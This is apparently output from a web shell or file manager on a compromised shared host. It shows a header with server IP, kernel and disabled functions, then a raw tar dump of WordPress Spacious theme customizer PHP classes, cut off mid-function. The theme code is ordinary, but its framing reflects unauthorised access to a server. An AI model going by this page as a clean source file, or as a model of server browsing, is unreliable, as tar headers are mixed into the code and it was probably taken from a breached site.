uawdijnntqw1x1x1
IP : 216.73.217.176
Hostname : webm001.cluster102.gra.hosting.ovh.net
Kernel : Linux webm001.cluster102.gra.hosting.ovh.net 6.18.39-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Tue Jul 21 12:03:15 CEST 2026 x86_64
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
OS : Linux
PATH:
/
home
/
bechata
/
mp
/
hcl4k
/
..
/
73eb7
/
.
/
customizer.tar
/
/
class-spacious-customizer-register-sections-panels.php000066600000020333152367043330017352 0ustar00<?php /** * Class to register panels and sections for customize options. * * Class Spacious_Customize_Register_Section_Panels * * @package ThemeGrill * @subpackage spacious * @since Spacious 1.9.0 */ // Exit if accessed directly. if ( ! defined( 'ABSPATH' ) ) { exit; } /** * Class to register panels and sections for customize options. * * Class Spacious_Customize_Register_Section_Panels */ class Spacious_Customize_Register_Section_Panels extends Spacious_Customize_Base_Option { /** * Include customize options. * * @param array $options Customize options provided via the theme. * @param \WP_Customize_Manager $wp_customize Theme Customizer object. * * @return mixed|void Customizer options for registering panels, sections as well as controls. */ public function register_options( $options, $wp_customize ) { $configs = array( // View Pro Version section. array( 'name' => 'spacious_customize_upsell_section', 'type' => 'section', 'title' => esc_html__( 'View Pro Version', 'spacious' ), 'url' => 'https://themegrill.com/spacious-pricing/?utm_source=spacious-customizer&utm_medium=view-pro-link&utm_campaign=spacious-pricing', 'priority' => 1, 'section_callback' => 'Spacious_Upsell_Section', ), /** * Panels. */ array( 'name' => 'spacious_global_options', 'type' => 'panel', 'title' => esc_html__( 'Global', 'spacious' ), 'priority' => 10, ), array( 'name' => 'spacious_header_options', 'type' => 'panel', 'title' => esc_html__( 'Header', 'spacious' ), 'priority' => 20, ), array( 'name' => 'spacious_slider_options', 'type' => 'section', 'title' => esc_html__( 'Slider', 'spacious' ), 'priority' => 30, ), array( 'name' => 'spacious_content_options', 'type' => 'panel', 'title' => esc_html__( 'Content', 'spacious' ), 'priority' => 40, ), array( 'name' => 'spacious_footer_options', 'type' => 'panel', 'title' => esc_html__( 'Footer', 'spacious' ), 'priority' => 50, ), // Separator. array( 'name' => 'separator', 'type' => 'section', 'priority' => 80, 'section_callback' => 'spacious_WP_Customize_Separator', ), /** * Global. */ // Colors. array( 'name' => 'spacious_global_color_setting', 'type' => 'section', 'title' => esc_html__( 'Colors', 'spacious' ), 'panel' => 'spacious_global_options', 'priority' => 10, ), array( 'name' => 'spacious_primary_colors_section', 'type' => 'section', 'title' => esc_html__( 'Primary Colors', 'spacious' ), 'panel' => 'spacious_global_options', 'section' => 'spacious_global_color_setting', 'priority' => 10, ), array( 'name' => 'spacious_skin_color_section', 'type' => 'section', 'title' => esc_html__( 'Color Skin', 'spacious' ), 'panel' => 'spacious_global_options', 'section' => 'spacious_global_color_setting', 'priority' => 30, ), // Background. array( 'name' => 'spacious_global_background_section', 'type' => 'section', 'title' => esc_html__( 'Background', 'spacious' ), 'panel' => 'spacious_global_options', 'priority' => 20, ), // Layout. array( 'name' => 'spacious_global_layout_section', 'type' => 'section', 'title' => esc_html__( 'Layout', 'spacious' ), 'panel' => 'spacious_global_options', 'priority' => 30, ), array( 'name' => 'spacious_site_layout_section', 'type' => 'section', 'title' => esc_html__( 'Site Layout', 'spacious' ), 'panel' => 'spacious_global_options', 'section' => 'spacious_global_layout_section', 'priority' => 10, ), array( 'name' => 'spacious_sidebar_layout_section', 'type' => 'section', 'title' => esc_html__( 'Sidebar Layout', 'spacious' ), 'panel' => 'spacious_global_options', 'section' => 'spacious_global_layout_section', 'priority' => 20, ), // Typography. array( 'name' => 'spacious_global_typography_section', 'type' => 'section', 'title' => esc_html__( 'Typography', 'spacious' ), 'panel' => 'spacious_global_options', 'priority' => 40, ), array( 'name' => 'spacious_base_typography_section', 'type' => 'section', 'title' => esc_html__( 'Base', 'spacious' ), 'panel' => 'spacious_global_options', 'section' => 'spacious_global_typography_section', 'priority' => 10, ), array( 'name' => 'spacious_headings_typography_section', 'type' => 'section', 'title' => esc_html__( 'Headings', 'spacious' ), 'panel' => 'spacious_global_options', 'section' => 'spacious_global_typography_section', 'priority' => 20, ), /** * Header. */ array( 'name' => 'title_tagline', 'type' => 'section', 'title' => esc_html__( 'Site Identity', 'spacious' ), 'panel' => 'spacious_header_options', 'priority' => 5, ), array( 'name' => 'spacious_header_top_bar', 'type' => 'section', 'title' => esc_html__( 'Top Bar', 'spacious' ), 'panel' => 'spacious_header_options', 'priority' => 20, ), array( 'name' => 'spacious_header_main', 'type' => 'section', 'title' => esc_html__( 'Primary Header', 'spacious' ), 'panel' => 'spacious_header_options', 'priority' => 30, ), array( 'name' => 'spacious_header_primary_menu', 'type' => 'section', 'title' => esc_html__( 'Primary Menu', 'spacious' ), 'panel' => 'spacious_header_options', 'priority' => 40, ), array( 'name' => 'spacious_header_button', 'type' => 'section', 'title' => esc_html__( 'Header Button', 'spacious' ), 'panel' => 'spacious_header_options', 'priority' => 50, ), array( 'name' => 'spacious_header_button_one', 'type' => 'section', 'title' => esc_html__( 'Header Button One', 'spacious' ), 'panel' => 'spacious_header_options', 'section' => 'spacious_header_button', 'priority' => 20, ), /** * Content. */ array( 'name' => 'spacious_post_page_content_options', 'type' => 'section', 'title' => esc_html__( 'Page Header', 'spacious' ), 'panel' => 'spacious_content_options', 'priority' => 10, ), array( 'name' => 'spacious_blog_content_options', 'type' => 'section', 'title' => esc_html__( 'Blog / Archive', 'spacious' ), 'panel' => 'spacious_content_options', 'priority' => 20, ), array( 'name' => 'spacious_single_post_section', 'type' => 'section', 'title' => esc_html__( 'Single Post', 'spacious' ), 'panel' => 'spacious_content_options', 'priority' => 30, ), array( 'name' => 'spacious_page_section', 'type' => 'section', 'title' => esc_html__( 'Page', 'spacious' ), 'panel' => 'spacious_content_options', 'priority' => 50, ), /** * Footer. */ array( 'name' => 'spacious_footer_widgets_area_section', 'type' => 'section', 'title' => esc_html__( 'Footer Widgets Area', 'spacious' ), 'panel' => 'spacious_footer_options', 'priority' => 20, ), /** * Additional. */ array( 'name' => 'spacious_social_links_options', 'type' => 'section', 'title' => esc_html__( 'Social Icons', 'spacious' ), 'priority' => 10, ), /** * WooCommerce. */ array( 'name' => 'spacious_woocommerce_page_layout_setting', 'type' => 'section', 'title' => esc_html__( 'Sidebar', 'spacious' ), 'panel' => 'woocommerce', 'priority' => 1, ), array( 'name' => 'spacious_woocommerce_button_design', 'type' => 'section', 'title' => esc_html__( 'Design', 'spacious' ), 'panel' => 'woocommerce', 'priority' => 2, ), ); $options = array_merge( $options, $configs ); return $options; } } return new Spacious_Customize_Register_Section_Panels(); class-spacious-customizer.php000066600000025622152367043330012431 0ustar00<?php /** * Spacious customizer class for theme customize options. * * Class Spacious_Customizer * * @package ThemeGrill * @subpackage Spacious * @since Spacious 1.9.0 */ // Exit if accessed directly. if ( ! defined( 'ABSPATH' ) ) { exit; } // Include the customizer framework files. require( dirname( __FILE__ ) . '/core/class-spacious-customizer-framework.php' ); require( dirname( __FILE__ ) . '/core/class-spacious-customize-base-option.php' ); /** * Spacious customizer class. * * Class Spacious_Customizer */ class Spacious_Customizer { /** * Customizer setup constructor. * * Spacious_Customizer constructor. */ public function __construct() { // Include the required files for Customize option. add_action( 'customize_register', array( $this, 'customize_register' ), 12 ); // Include the required files for Customize option. add_action( 'customize_register', array( $this, 'customize_options_file_include' ), 1 ); } /** * Include the required files for extending the custom Customize controls. * * @param WP_Customize_Manager $wp_customize Theme Customizer object. */ public function customize_custom_panels_sections_includes( $wp_customize ) { // Include the required customizer nested panels and sections files. require SPACIOUS_CUSTOMIZER_DIR . '/extend-customizer/class-spacious-upsell-section.php'; } /** * Include the required files for extending the custom Customize controls. * * @param WP_Customize_Manager $wp_customize Theme Customizer object. */ public function customize_register( $wp_customize ) { // Override default. require SPACIOUS_CUSTOMIZER_DIR . '/override-defaults.php'; } /** * Register Spacious customize panels, sections and controls type. * * @param WP_Customize_Manager $wp_customize Theme Customizer object. */ public function register_panels_sections_controls( $wp_customize ) { // Register panels and sections. $wp_customize->register_panel_type( 'Spacious_WP_Customize_Panel' ); $wp_customize->register_section_type( 'Spacious_WP_Customize_Section' ); $wp_customize->register_section_type( 'Spacious_Upsell_Section' ); /** * Register controls. */ /** * WordPress default controls. */ // Checkbox control. Spacious_Customize_Base_Control::add_control( 'checkbox', array( 'sanitize_callback' => array( 'Spacious_Customizer_Sanitizes', 'sanitize_checkbox', ), ) ); // Radio control. Spacious_Customize_Base_Control::add_control( 'radio', array( 'sanitize_callback' => array( 'Spacious_Customizer_Sanitizes', 'sanitize_radio_select', ), ) ); // Select control. Spacious_Customize_Base_Control::add_control( 'select', array( 'sanitize_callback' => array( 'Spacious_Customizer_Sanitizes', 'sanitize_radio_select', ), ) ); // Text control. Spacious_Customize_Base_Control::add_control( 'text', array( 'sanitize_callback' => array( 'Spacious_Customizer_Sanitizes', 'sanitize_nohtml', ), ) ); // Number control. Spacious_Customize_Base_Control::add_control( 'number', array( 'sanitize_callback' => array( 'Spacious_Customizer_Sanitizes', 'sanitize_number', ), ) ); // Email control. Spacious_Customize_Base_Control::add_control( 'email', array( 'sanitize_callback' => array( 'Spacious_Customizer_Sanitizes', 'sanitize_email', ), ) ); // URL control. Spacious_Customize_Base_Control::add_control( 'url', array( 'sanitize_callback' => array( 'Spacious_Customizer_Sanitizes', 'sanitize_url', ), ) ); // Textarea control. Spacious_Customize_Base_Control::add_control( 'textarea', array( 'sanitize_callback' => array( 'Spacious_Customizer_Sanitizes', 'sanitize_html', ), ) ); // Dropdown pages control. Spacious_Customize_Base_Control::add_control( 'dropdown-pages', array( 'sanitize_callback' => array( 'Spacious_Customizer_Sanitizes', 'sanitize_dropdown_pages', ), ) ); // Color control. Spacious_Customize_Base_Control::add_control( 'color', array( 'callback' => 'WP_Customize_Color_Control', 'sanitize_callback' => array( 'Spacious_Customizer_Sanitizes', 'sanitize_hex_color', ), ) ); // Image upload control. Spacious_Customize_Base_Control::add_control( 'image', array( 'callback' => 'WP_Customize_Image_Control', 'sanitize_callback' => array( 'Spacious_Customizer_Sanitizes', 'sanitize_image_upload', ), ) ); // Radio image control. Spacious_Customize_Base_Control::add_control( 'spacious-radio-image', array( 'callback' => 'Spacious_Radio_Image_Control', 'sanitize_callback' => array( 'Spacious_Customizer_Sanitizes', 'sanitize_radio_select', ), ) ); // Heading control. Spacious_Customize_Base_Control::add_control( 'spacious-heading', array( 'callback' => 'Spacious_Heading_Control', 'sanitize_callback' => array( 'Spacious_Customizer_Sanitizes', 'sanitize_false_values', ), ) ); // Editor control. Spacious_Customize_Base_Control::add_control( 'spacious-editor', array( 'callback' => 'Spacious_Editor_Control', 'sanitize_callback' => array( 'Spacious_Customizer_Sanitizes', 'sanitize_html', ), ) ); // Color control. Spacious_Customize_Base_Control::add_control( 'spacious-color', array( 'callback' => 'Spacious_Color_Control', 'sanitize_callback' => array( 'Spacious_Customizer_Sanitizes', 'sanitize_alpha_color', ), ) ); // Buttonset control. Spacious_Customize_Base_Control::add_control( 'spacious-buttonset', array( 'callback' => 'Spacious_Buttonset_Control', 'sanitize_callback' => array( 'Spacious_Customizer_Sanitizes', 'sanitize_radio_select', ), ) ); // Toggle control. Spacious_Customize_Base_Control::add_control( 'spacious-toggle', array( 'callback' => 'Spacious_Toggle_Control', 'sanitize_callback' => array( 'Spacious_Customizer_Sanitizes', 'sanitize_checkbox', ), ) ); // Divider control. Spacious_Customize_Base_Control::add_control( 'spacious-divider', array( 'callback' => 'Spacious_Divider_Control', 'sanitize_callback' => array( 'Spacious_Customizer_Sanitizes', 'sanitize_false_values', ), ) ); // Slider control. Spacious_Customize_Base_Control::add_control( 'spacious-slider', array( 'callback' => 'Spacious_Slider_Control', 'sanitize_callback' => array( 'Spacious_Customizer_Sanitizes', 'sanitize_number', ), ) ); // Custom control. Spacious_Customize_Base_Control::add_control( 'spacious-custom', array( 'callback' => 'Spacious_Custom_Control', 'sanitize_callback' => array( 'Spacious_Customizer_Sanitizes', 'sanitize_false_values', ), ) ); // Dropdown categories control. Spacious_Customize_Base_Control::add_control( 'spacious-dropdown-categories', array( 'callback' => 'Spacious_Dropdown_Categories_Control', 'sanitize_callback' => array( 'Spacious_Customizer_Sanitizes', 'sanitize_dropdown_categories', ), ) ); // Background control. Spacious_Customize_Base_Control::add_control( 'spacious-background', array( 'callback' => 'Spacious_Background_Control', 'sanitize_callback' => array( 'Spacious_Customizer_Sanitizes', 'sanitize_background', ), ) ); // Typography control. Spacious_Customize_Base_Control::add_control( 'spacious-typography', array( 'callback' => 'Spacious_Typography_Control', 'sanitize_callback' => array( 'Spacious_Customizer_Sanitizes', 'sanitize_typography', ), ) ); // Hidden control. Spacious_Customize_Base_Control::add_control( 'spacious-hidden', array( 'callback' => 'Spacious_Hidden_Control', 'sanitize_callback' => '', ) ); // Sortable control. Spacious_Customize_Base_Control::add_control( 'spacious-sortable', array( 'callback' => 'Spacious_Sortable_Control', 'sanitize_callback' => array( 'Spacious_Customizer_Sanitizes', 'sanitize_sortable', ), ) ); // Group control. Spacious_Customize_Base_Control::add_control( 'spacious-group', array( 'callback' => 'Spacious_Group_Control', ) ); } /** * Include the required files for Customize option. */ public function customize_options_file_include() { // Include the required customize section and panels register file. require SPACIOUS_CUSTOMIZER_DIR . '/class-spacious-customizer-register-sections-panels.php'; /** * Include the required customize options file. */ // Global. require SPACIOUS_CUSTOMIZER_DIR . '/options/global/class-spacious-customize-colors-options.php'; require SPACIOUS_CUSTOMIZER_DIR . '/options/global/class-spacious-customize-background-options.php'; require SPACIOUS_CUSTOMIZER_DIR . '/options/global/class-spacious-customize-typography-options.php'; require SPACIOUS_CUSTOMIZER_DIR . '/options/global/class-spacious-customize-layout-options.php'; // Header. require SPACIOUS_CUSTOMIZER_DIR . '/options/header/class-spacious-customize-site-identity-options.php'; require SPACIOUS_CUSTOMIZER_DIR . '/options/header/class-spacious-customize-header-media-options.php'; require SPACIOUS_CUSTOMIZER_DIR . '/options/header/class-spacious-customize-header-top-bar-options.php'; require SPACIOUS_CUSTOMIZER_DIR . '/options/header/class-spacious-customize-primary-header-options.php'; require SPACIOUS_CUSTOMIZER_DIR . '/options/header/class-spacious-customize-primary-menu-options.php'; require SPACIOUS_CUSTOMIZER_DIR . '/options/header/class-spacious-customize-header-button.php'; // Slider. require SPACIOUS_CUSTOMIZER_DIR . '/options/slider/class-spacious-customize-slider-options.php'; // Content. require SPACIOUS_CUSTOMIZER_DIR . '/options/content/class-spacious-customize-page-header-options.php'; require SPACIOUS_CUSTOMIZER_DIR . '/options/content/class-spacious-customize-blog-archive-options.php'; require SPACIOUS_CUSTOMIZER_DIR . '/options/content/class-spacious-customize-single-post-options.php'; require SPACIOUS_CUSTOMIZER_DIR . '/options/content/class-spacious-customize-page-options.php'; // Additional. require SPACIOUS_CUSTOMIZER_DIR . '/options/social/class-spacious-customize-social-icons-options.php'; // Footer. require SPACIOUS_CUSTOMIZER_DIR . '/options/footer/class-spacious-customize-footer-widgets-area-options.php'; // WooCommerce. require SPACIOUS_CUSTOMIZER_DIR . '/options/woocommerce/class-spacious-customize-woocommerce-sidebar-options.php'; require SPACIOUS_CUSTOMIZER_DIR . '/options/woocommerce/class-spacious-customize-woocommerce-design-options.php'; } } return new Spacious_Customizer(); core/extend-customizer/class-spacious-wp-customize-section.php000066600000002700152367043330020746 0ustar00<?php /** * Extend customize section to include nested sections. * * Class Spacious_WP_Customize_Section * * @package ThemeGrill * @subpackage Spacious * @since Spacious 3.0.0 */ // Exit if accessed directly. if ( ! defined( 'ABSPATH' ) ) { exit; } /** * Extend customize section to include nested sections. * * Class Spacious_WP_Customize_Section */ class Spacious_WP_Customize_Section extends WP_Customize_Section { /** * Section * * @var string */ public $section; /** * Control type. * * @var string */ public $type = 'spacious_section'; /** * Get section parameters for JS. * * @return array Exported parameters. */ public function json() { $array = wp_array_slice_assoc( (array) $this, array( 'id', 'description', 'priority', 'panel', 'type', 'description_hidden', 'section', ) ); $array['title'] = html_entity_decode( $this->title, ENT_QUOTES, get_bloginfo( 'charset' ) ); $array['content'] = $this->get_content(); $array['active'] = $this->active(); $array['instanceNumber'] = $this->instance_number; if ( $this->panel ) { $array['customizeAction'] = sprintf( esc_html__( 'Customizing ▸ %s', 'spacious' ), esc_html( $this->manager->get_panel( $this->panel )->title ) ); } else { $array['customizeAction'] = esc_html__( 'Customizing', 'spacious' ); } return $array; } } core/extend-customizer/class-spacious-wp-customize-separator.php000066600000001641152367043330021305 0ustar00<?php /** * Customizer Control: panel. * * Creates a jQuery color control. * * @package Spacious * @author Spacious */ // Exit if accessed directly. if ( ! defined( 'ABSPATH' ) ) { exit; } if ( class_exists( 'WP_Customize_Section' ) ) { /** * Adds a custom Customize Section for section separator. * * @link https://gist.github.com/OriginalEXE/9a6183e09f4cae2f30b006232bb154af * @since 2.0.0 * @see WP_Customize_Section */ class Spacious_WP_Customize_Separator extends WP_Customize_Section { /** * Control type. * * @since 1.0.31 * @var string */ public $type = 'spacious-section-separator'; /** * Template for section separator * * @since 2.0.0 */ protected function render_template() { ?> <li id="accordion-section-{{ data.id }}" class="tg-section-separator accordion-section control-section control-section-{{ data.type }}"></li> <?php } } } core/extend-customizer/class-spacious-wp-customize-panel.php000066600000002152152367043330020402 0ustar00<?php /** * Extend customize panel to include nested panels. * * Class Spacious_WP_Customize_Panel * * @package ThemeGrill * @subpackage Spacious * @since Spacious 3.0.0 */ // Exit if accessed directly. if ( ! defined( 'ABSPATH' ) ) { exit; } /** * Extend customize panel to include nested panels. * * Class Spacious_WP_Customize_Panel */ class Spacious_WP_Customize_Panel extends WP_Customize_Panel { /** * Panel * * @var string */ public $panel; /** * Control type. * * @var string */ public $type = 'spacious_panel'; /** * Get section parameters for JS. * * @return array Exported parameters. */ public function json() { $array = wp_array_slice_assoc( (array) $this, array( 'id', 'description', 'priority', 'type', 'panel', ) ); $array['title'] = html_entity_decode( $this->title, ENT_QUOTES, get_bloginfo( 'charset' ) ); $array['content'] = $this->get_content(); $array['active'] = $this->active(); $array['instanceNumber'] = $this->instance_number; return $array; } } core/extend-customizer/class-spacious-upsell-section.php000066600000002442152367043330017607 0ustar00<?php /** * Customize upsell section. * * Class Spacious_Upsell_Section * * @package ThemeGrill * @subpackage Spacious * @since Spacious 2.0.0 */ // Exit if accessed directly. if ( ! defined( 'ABSPATH' ) ) { exit; } /** * Class to include upsell link campaign for theme. * * Class Spacious_Upsell_Section */ class Spacious_Upsell_Section extends WP_Customize_Section { /** * Control type. * * @var string */ public $type = 'spacious-upsell-section'; /** * Control URL. * * @var string */ public $url = ''; /** * Control ID. * * @var string */ public $id = ''; /** * Gather the parameters passed to client JavaScript via JSON. * * @return array The array to be exported to the client as JSON. */ public function json() { $json = parent::json(); $json['url'] = esc_url( $this->url ); $json['id'] = $this->id; return $json; } /** * An Underscore (JS) template for rendering this section. */ protected function render_template() { ?> <li id="accordion-section-{{ data.id }}" class="spacious-upsell-accordion-section control-section-{{ data.type }} cannot-expand accordion-section" > <h3 class="accordion-section-title"><a href="{{{ data.url }}}" target="_blank">{{ data.title }}</a></h3> </li> <?php } } core/class-spacious-customizer-sanitizes.php000066600000040752152367043330015371 0ustar00<?php /** * Spacious customizer class for theme customize sanitizes. * * Class Spacious_Customizer_FrameWork_Sanitizes * * @package ThemeGrill * @subpackage Spacious * @since Spacious 3.0.0 */ // Exit if accessed directly. if ( ! defined( 'ABSPATH' ) ) { exit; } /** * Spacious customizer class for theme customize callbacks. * * Class Spacious_Customizer_FrameWork_Sanitizes */ class Spacious_Customizer_FrameWork_Sanitizes { /** * Sanitize the checkbox options set within customizer controls. * * @param int $input Input from the customize controls. * * @return int|string */ public static function sanitize_checkbox( $input ) { return ( ( $input == 1 ) ? 1 : '' ); } /** * Sanitize the number options set within customizer controls. * * @param int $number Input from the customize controls. * @param WP_Customize_Setting $setting Setting instance. * * @return int */ public static function sanitize_integer( $number, $setting ) { return ( is_numeric( $number ) ? intval( $number ) : $setting->default ); } /** * Sanitize the strings enabling HTML tags set within customizer controls. * * @param string $input Input from the customize controls. * * @return string */ public static function sanitize_html( $input ) { return wp_kses_post( $input ); } /** * Sanitize the strings disabling the HTML tags set within customizer controls. * * @param string $input Input from the customize controls. * * @return string */ public static function sanitize_nohtml( $input ) { return wp_filter_nohtml_kses( $input ); } /** * Sanitize the key values set within customizer controls. * * @param string $input Input from the customize controls. * * @return string */ public static function sanitize_key( $input ) { return sanitize_key( $input ); } /** * Sanitize the text fields set within customizer controls. * * @param string $input Input from the customize controls. * * @return string */ public static function sanitize_text_field( $input ) { return sanitize_text_field( $input ); } /** * Sanitize the radio as well as select options set within customizer controls. * * @param string $input Input from the customize controls. * @param WP_Customize_Setting $setting Setting instance. * * @return string */ public static function sanitize_radio_select( $input, $setting ) { // Ensuring that the input is a slug. $input = sanitize_text_field( $input ); // Get the list of choices from the control associated with the setting. $choices = $setting->manager->get_control( $setting->id )->choices; // If the input is a valid key, return it, else, return the default. return ( array_key_exists( $input, $choices ) ? $input : $setting->default ); } /** * Sanitize the hex color set within customizer controls. * * @param string $color Input from the customize controls. * * @return string */ public static function sanitize_hex_color( $color ) { if ( '' === $color ) { return ''; } // 3 or 6 hex digits, or the empty string. if ( preg_match( '|^#([A-Fa-f0-9]{3}){1,2}$|', $color ) ) { return $color; } } /** * Sanitize the alpha color set within customizer controls. * * @param string $color Input from the customize controls. * * @return string */ public static function sanitize_alpha_color( $color ) { if ( '' === $color ) { return ''; } // Hex sanitize if no rgba color option is chosen. if ( false === strpos( $color, 'rgba' ) ) { return self::sanitize_hex_color( $color ); } // Sanitize the rgba color provided via customize option. $color = str_replace( ' ', '', $color ); sscanf( $color, 'rgba(%d,%d,%d,%f)', $red, $green, $blue, $alpha ); return 'rgba(' . $red . ',' . $green . ',' . $blue . ',' . $alpha . ')'; } /** * Sanitize false values within customizer controls, which user does not have to input by their own. * * @return bool */ public static function sanitize_false_values() { return false; } /** * Sanitize the slider value set within customizer controls. * * @param number $val Customizer setting input number. * @param object $setting Setting object. * * @return int */ public static function sanitize_number( $val, $setting ) { $input_attrs = $setting->manager->get_control( $setting->id )->input_attrs; if ( isset( $input_attrs ) ) { $input_attrs['min'] = isset( $input_attrs['min'] ) ? $input_attrs['min'] : 0; $input_attrs['step'] = isset( $input_attrs['step'] ) ? $input_attrs['step'] : 1; if ( isset( $input_attrs['max'] ) && $val > $input_attrs['max'] ) { $val = $input_attrs['max']; } elseif ( $val < $input_attrs['min'] ) { $val = $input_attrs['min']; } if ( $val ) { $val = (int) $val; } } return is_numeric( $val ) ? $val : $setting->default; } /** * Sanitize the email value set within customizer controls. * * @param string $email Input from the customize controls. * @param object $setting Setting object. * * @return string */ public static function sanitize_email( $email, $setting ) { // Strips out all characters that are not allowable in an email address. $email = sanitize_email( $email ); // If $email is a valid email, return it, otherwise, return the default. return ( ! is_null( $email ) ? $email : $setting->default ); } /** * Sanitize the url value set within customizer controls. * * @param string $url Input from the customize controls. * * @return string */ public static function sanitize_url( $url ) { return esc_url_raw( $url ); } /** * Sanitize the dropdown categories value set within customizer controls. * * @param number $cat_id Customizer setting input category id. * @param object $setting Setting object. * * @return int */ public static function sanitize_dropdown_categories( $cat_id, $setting ) { // Ensure input is an absolute integer. $cat_id = absint( $cat_id ); // If $cat_id is an ID of a published category, return it, otherwise, return the default value. return ( term_exists( $cat_id, 'category' ) ? $cat_id : $setting->default ); } /** * Sanitize the dropdown pages value set within customizer controls. * * @param number $page_id Customizer setting input page id. * @param object $setting Setting object. * * @return int */ public static function sanitize_dropdown_pages( $page_id, $setting ) { // Ensure input is an absolute integer. $page_id = absint( $page_id ); // If $page_id is an ID of a published page, return it, otherwise, return the default value. return ( 'publish' == get_post_status( $page_id ) ? $page_id : $setting->default ); } /** * Sanitize the image value set within customizer controls. * * @param number $image Customizer setting input image filename. * @param object $setting Setting object. * * @return int */ public static function sanitize_image_upload( $image, $setting ) { /** * Array of valid image file types. * * The array includes image mime types that are included in wp_get_mime_types() */ $mimes = array( 'jpg|jpeg|jpe' => 'image/jpeg', 'gif' => 'image/gif', 'png' => 'image/png', 'bmp' => 'image/bmp', 'tiff|tif' => 'image/tiff', 'ico' => 'image/x-icon', ); // Return an array with file extension and mime_type. $file = wp_check_filetype( $image, $mimes ); // If $image has a valid mime_type, return it, otherwise, return the empty value. return ( $file['ext'] ? $image : '' ); } /** * Sanitize the background value set within customizer controls. * * @param number $background_args Customizer setting input background arguments. * @param object $setting Setting object. * * @return mixed */ public static function sanitize_background( $background_args, $setting ) { if ( ! is_array( $background_args ) ) { return array(); } $output = array(); // Sanitizing the alpha color option. if ( isset( $background_args['background-color'] ) ) { $output['background-color'] = self::sanitize_alpha_color( $background_args['background-color'] ); } // Sanitizing the background image option. if ( isset( $background_args['background-image'] ) ) { $output['background-image'] = self::sanitize_image_upload( $background_args['background-image'], $setting ); } // Sanitizing the background repeat option. if ( isset( $background_args['background-repeat'] ) ) { $output['background-repeat'] = self::sanitize_text_field( $background_args['background-repeat'] ); } // Sanitizing the background position option. if ( isset( $background_args['background-position'] ) ) { $output['background-position'] = self::sanitize_text_field( $background_args['background-position'] ); } // Sanitizing the background size option. if ( isset( $background_args['background-size'] ) ) { $output['background-size'] = self::sanitize_text_field( $background_args['background-size'] ); } // Sanitizing the background attachment option. if ( isset( $background_args['background-attachment'] ) ) { $output['background-attachment'] = self::sanitize_text_field( $background_args['background-attachment'] ); } return $output; } /** * Sanitize the typography value set within customizer controls. * * @param number $typography_args Customizer setting input typography arguments. * @param object $setting Setting object. * * @return mixed */ public static function sanitize_typography( $typography_args, $setting ) { if ( ! is_array( $typography_args ) ) { return array(); } $output = array(); // Sanitizing the font family option. if ( isset( $typography_args['font-family'] ) ) { $standard_fonts = Spacious_Fonts::get_system_fonts(); $google_fonts = Spacious_Fonts::get_google_fonts(); $custom_fonts = Spacious_Fonts::get_custom_fonts(); $valid_keys = array_merge( $standard_fonts, $google_fonts ); // If custom fonts is available, merge it to `$valid_keys` array to make those fonts ready for sanitization. if ( ! empty( $custom_fonts ) ) { $valid_keys = array_merge( $custom_fonts, $valid_keys ); } if ( array_key_exists( $typography_args['font-family'], $valid_keys ) ) { $output['font-family'] = self::sanitize_text_field( $typography_args['font-family'] ); } } // Sanitizing the font weight option. if ( isset( $typography_args['font-weight'] ) ) { $font_variants = Spacious_Fonts::get_font_variants(); if ( array_key_exists( $typography_args['font-weight'], $font_variants ) ) { $output['font-weight'] = self::sanitize_key( $typography_args['font-weight'] ); } } // Sanitizing the subsets option. if ( isset( $typography_args['subsets'] ) ) { $subsets = Spacious_Fonts::get_google_font_subsets(); $subsets_values = array(); if ( is_array( $typography_args['subsets'] ) ) { foreach ( $typography_args['subsets'] as $key => $value ) { if ( array_key_exists( $value, $subsets ) ) { $subsets_values[] = self::sanitize_key( $value ); } } $output['subsets'] = $subsets_values; } } // Sanitizing the font style option. if ( isset( $typography_args['font-style'] ) ) { $output['font-style'] = self::sanitize_key( $typography_args['font-style'] ); } // Sanitizing the text transform option. if ( isset( $typography_args['text-transform'] ) ) { $output['text-transform'] = self::sanitize_key( $typography_args['text-transform'] ); } // Sanitizing the text decoration option. if ( isset( $typography_args['text-decoration'] ) ) { $output['text-decoration'] = self::sanitize_key( $typography_args['text-decoration'] ); } // Sanitizing the font size option. if ( isset( $typography_args['font-size'] ) && is_array( $typography_args['font-size'] ) ) { $font_size_values = array(); $input_attrs = $setting->manager->get_control( $setting->id )->input_attrs; foreach ( $typography_args['font-size'] as $key => $value ) { if ( isset( $key ) && ! empty( $value ) ) { if ( isset( $input_attrs ) && ! empty( $input_attrs ) ) { foreach ( $input_attrs as $input_key => $input_value ) { $input_value['font-size']['min'] = isset( $input_value['font-size']['min'] ) ? $input_value['font-size']['min'] : 0; $input_value['font-size']['step'] = isset( $input_value['font-size']['step'] ) ? $input_value['font-size']['step'] : 1; if ( isset( $input_value['font-size']['max'] ) && $value > $input_value['font-size']['max'] ) { $font_size_values[ $key ] = self::sanitize_text_field( $input_value['font-size']['max'] ); } elseif ( $value < $input_value['font-size']['min'] ) { $font_size_values[ $key ] = self::sanitize_text_field( $input_value['font-size']['min'] ); } else { $font_size_values[ $key ] = self::sanitize_text_field( $value ); } } } else { $font_size_values[ $key ] = self::sanitize_text_field( $value ); } } $output['font-size'] = $font_size_values; } } // Sanitizing the line height option. if ( isset( $typography_args['line-height'] ) && is_array( $typography_args['line-height'] ) ) { $line_height_values = array(); $input_attrs = $setting->manager->get_control( $setting->id )->input_attrs; foreach ( $typography_args['line-height'] as $key => $value ) { if ( isset( $key ) && ! empty( $value ) ) { if ( isset( $input_attrs ) && ! empty( $input_attrs ) ) { foreach ( $input_attrs as $input_key => $input_value ) { $input_value['line-height']['min'] = isset( $input_value['line-height']['min'] ) ? $input_value['line-height']['min'] : 0; $input_value['line-height']['step'] = isset( $input_value['line-height']['step'] ) ? $input_value['line-height']['step'] : 1; if ( isset( $input_value['line-height']['max'] ) && $value > $input_value['line-height']['max'] ) { $line_height_values[ $key ] = self::sanitize_text_field( $input_value['line-height']['max'] ); } elseif ( $value < $input_value['line-height']['min'] ) { $line_height_values[ $key ] = self::sanitize_text_field( $input_value['line-height']['min'] ); } else { $line_height_values[ $key ] = self::sanitize_text_field( $value ); } } } else { $line_height_values[ $key ] = self::sanitize_text_field( $value ); } } $output['line-height'] = $line_height_values; } } // Sanitizing the letter spacing option. if ( isset( $typography_args['letter-spacing'] ) && is_array( $typography_args['letter-spacing'] ) ) { $letter_spacing_values = array(); $input_attrs = $setting->manager->get_control( $setting->id )->input_attrs; foreach ( $typography_args['letter-spacing'] as $key => $value ) { if ( isset( $key ) && ! empty( $value ) ) { if ( isset( $input_attrs ) && ! 